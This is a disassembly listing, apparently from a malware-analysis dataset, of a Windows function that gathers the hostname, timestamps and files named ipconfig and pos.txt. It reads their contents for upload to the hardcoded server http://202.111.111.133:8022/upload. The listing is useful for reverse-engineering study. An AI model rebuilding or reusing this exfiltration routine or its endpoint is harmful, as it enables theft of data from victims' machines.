Function at 0x401d60
Capabilities:
Copy file
Get file size
Get hostname
Read file on windows

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41c116
mov eax, dword fs:[0]
push eax
push ebx
mov eax, 0x1c88
call fcn.00411e10
mov eax, dword [0x426060]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
movdqu xmm0, xmmword [str.http:__202.111.111.133:8022_upload_hostname]
mov eax, dword [0x423824]
mov dword [ebp - 0x48], eax
mov al, byte [0x423828]
movdqu xmmword [ebp - 0x70], xmm0
push 0x40f
movdqu xmm0, xmmword [0x42380c]
mov byte [ebp - 0x44], al
lea eax, [ebp - 0x131f]
push 0
movdqu xmmword [ebp - 0x60], xmm0
push eax
movq xmm0, qword [0x42381c]
movq qword [ebp - 0x50], xmm0
mov byte [ebp - 0x1320], 0
call fcn.0040d0e0
mov edi, dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea eax, [ebp - 0x1c94]
add esp, 0xc
mov dword [ebp - 0x1c94], 0
push eax
push 0
call edi
mov esi, dword [ebp - 0x1c94]
push esi
call fcn.00405c09
add esp, 4
push esi
mov esi, eax
push 0
push esi
call fcn.0040d0e0
add esp, 0xc
lea eax, [ebp - 0x1c94]
push eax
push esi
call edi
mov dword [ebp - 0x1c7c], 0xf
mov dword [ebp - 0x1c80], 0
mov byte [ebp - 0x1c90], 0
cmp byte [esi], 0
jne 0x401e5f
xor eax, eax
jmp 0x401e6d
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401e64
sub eax, edx
push eax
push esi
lea ecx, [ebp - 0x1c90]
call fcn.004045e0
lea edx, [ebp - 0x1c90]
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x1c78]
call fcn.00402c60
mov byte [ebp - 4], 1
lea eax, [ebp - 0x1c78]
cmp dword [ebp - 0x1c64], 0x10
cmovae eax, dword [ebp - 0x1c78]
push eax
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x1320]
push 0x42382c
push eax
call fcn.00405b85
push 0x207
lea eax, [ebp - 0x2df]
mov byte [ebp - 0x2e0], 0
push 0
push eax
call fcn.0040d0e0
add esp, 0x1c
lea ecx, [ebp - 0x2e0]
call fcn.00402f40
mov eax, dword [0x42383c]
movq xmm0, qword [str.ipconfig1.txt]
mov dword [ebp - 0x24], eax
movzx eax, word [0x423840]
mov word [ebp - 0x20], ax
mov eax, dword [0x42384c]
mov dword [ebp - 0x34], eax
movzx eax, word [0x423850]
mov word [ebp - 0x30], ax
mov eax, dword [str.pos.txt]
mov dword [ebp - 0x1c], eax
mov eax, dword [0x423858]
push 0x207
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x6ef]
movq qword [ebp - 0x2c], xmm0
movq xmm0, qword [str.ipconfig2.txt]
push 0
push eax
movq qword [ebp - 0x3c], xmm0
mov byte [ebp - 0x6f0], 0
call fcn.0040d0e0
add esp, 0xc
mov byte [ebp - 0xf10], 0
lea eax, [ebp - 0xf0f]
push 0x207
push 0
push eax
call fcn.0040d0e0
add esp, 0xc
mov byte [ebp - 0x4e8], 0
lea eax, [ebp - 0x4e7]
push 0x207
push 0
push eax
call fcn.0040d0e0
add esp, 0xc
mov byte [ebp - 0xd8], 0
lea eax, [ebp - 0xd7]
push 0x63
push 0
push eax
call fcn.0040d0e0
add esp, 0xc
lea eax, [ebp - 0x1c60]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [ebp - 0x1c54]
push eax
movzx eax, word [ebp - 0x1c56]
push eax
movzx eax, word [ebp - 0x1c58]
push eax
movzx eax, word [ebp - 0x1c5a]
push eax
movzx eax, word [ebp - 0x1c5e]
push eax
movzx eax, word [ebp - 0x1c60]
push eax
lea eax, [ebp - 0xd8]
push str._d__d__d__d__d__d
push eax
call fcn.00405b85
push 0x207
lea eax, [ebp - 0x8f7]
mov byte [ebp - 0x8f8], 0
push 0
push eax
call fcn.0040d0e0
add esp, 0x2c
mov byte [ebp - 0xb00], 0
lea eax, [ebp - 0xaff]
push 0x207
push 0
push eax
call fcn.0040d0e0
add esp, 0xc
mov byte [ebp - 0xd08], 0
lea eax, [ebp - 0xd07]
push 0x207
push 0
push eax
call fcn.0040d0e0
add esp, 0xc
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0xd8]
push eax
push esi
lea eax, [ebp - 0x8f8]
push str._s_s_s
push eax
call fcn.00405b85
add esp, 0x14
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0xd8]
push eax
push esi
lea eax, [ebp - 0xb00]
push str._s_s_s
push eax
call fcn.00405b85
add esp, 0x14
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x2e0]
push eax
lea eax, [ebp - 0xd08]
push str._s_s
push eax
call fcn.00405b85
push esi
call fcn.00405994
add esp, 0x14
lea eax, [ebp - 0x8f8]
push eax
lea eax, [ebp - 0x2e0]
push eax
lea eax, [ebp - 0x6f0]
push str._s_s
push eax
call fcn.00405b85
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x2e0]
push eax
lea eax, [ebp - 0xf10]
push str._s_s
push eax
call fcn.00405b85
lea eax, [ebp - 0xb00]
push eax
lea eax, [ebp - 0x2e0]
push eax
lea eax, [ebp - 0x4e8]
push str._s_s
push eax
call fcn.00405b85
add esp, 0x30
lea eax, [ebp - 0x4e8]
push 0
push eax
lea eax, [ebp - 0xd08]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x30b
lea eax, [ebp - 0x193f]
mov byte [ebp - 0x1940], 0
push 0
push eax
call fcn.0040d0e0
add esp, 0xc
mov byte [ebp - 0x1c50], 0
lea eax, [ebp - 0x1c4f]
push 0x30b
push 0
push eax
call fcn.0040d0e0
add esp, 0xc
mov byte [ebp - 0x1630], 0
lea eax, [ebp - 0x162f]
push 0x30b
push 0
push eax
call fcn.0040d0e0
add esp, 0xc
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x1320]
push eax
lea eax, [ebp - 0x1940]
push str._sfile_s
push eax
call fcn.00405b85
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x1320]
push eax
lea eax, [ebp - 0x1c50]
push str._sfile_s
push eax
call fcn.00405b85
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x1320]
push eax
lea eax, [ebp - 0x1630]
push str._sfile_s
push eax
call fcn.00405b85
add esp, 0x30
call fcn.00403020
mov edx, eax
lea esi, [edx + 1]
mov edi, edi
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x4021e0
sub edx, esi
lea ecx, [ebp - 0x6f0]
push edx
mov edx, eax
call fcn.00402bc0
add esp, 4
mov dword [ebp - 0x1c94], 0
lea eax, [ebp - 0x6f0]
push 0
push 0x20
push 3
push 0
push 3
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
cmp edi, 0xffffffff
je 0x40228b
push 0
push edi
call esi
mov esi, eax
push esi
call fcn.00405c09
add esp, 4
mov dword [ebp - 0x1c98], eax
lea ecx, [ebp - 0x1c94]
push 0
push ecx
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp - 0x1c94]
mov esi, dword [ebp - 0x1c98]
lea ecx, [ebp - 0x1940]
mov edx, esi
call fcn.004039d0
add esp, 4
test eax, eax
je 0x402285
push esi
call fcn.00405994
add esp, 4
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0
push 0x20
push 3
push 0
push 3
push 0xc0000000
lea eax, [ebp - 0xf10]
mov dword [ebp - 0x1c94], 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x402310
push 0
push edi
call esi
mov esi, eax
push esi
call fcn.00405c09
add esp, 4
mov dword [ebp - 0x1c98], eax
lea ecx, [ebp - 0x1c94]
push 0
push ecx
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp - 0x1c94]
mov esi, dword [ebp - 0x1c98]
lea ecx, [ebp - 0x1c50]
mov edx, esi
call fcn.004039d0
add esp, 4
test eax, eax
je 0x402310
push esi
call fcn.00405994
add esp, 4
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0x20
push 3
push 0
push 3
push 0xc0000000
lea eax, [ebp - 0x4e8]
mov dword [ebp - 0x1c94], 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x402399
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
push esi
call fcn.00405c09
add esp, 4
mov dword [ebp - 0x1c98], eax
lea ecx, [ebp - 0x1c94]
push 0
push ecx
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp - 0x1c94]
mov esi, dword [ebp - 0x1c98]
lea ecx, [ebp - 0x1630]
mov edx, esi
call fcn.004039d0
add esp, 4
test eax, eax
je 0x402399
push esi
call fcn.00405994
add esp, 4
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x1c64], 0x10
jb 0x4023b0
push dword [ebp - 0x1c78]
call fcn.00405341
add esp, 4
cmp dword [ebp - 0x1c7c], 0x10
mov dword [ebp - 0x1c64], 0xf
mov dword [ebp - 0x1c68], 0
mov byte [ebp - 0x1c78], 0
jb 0x4023e2
push dword [ebp - 0x1c90]
call fcn.00405341
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004051ce
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret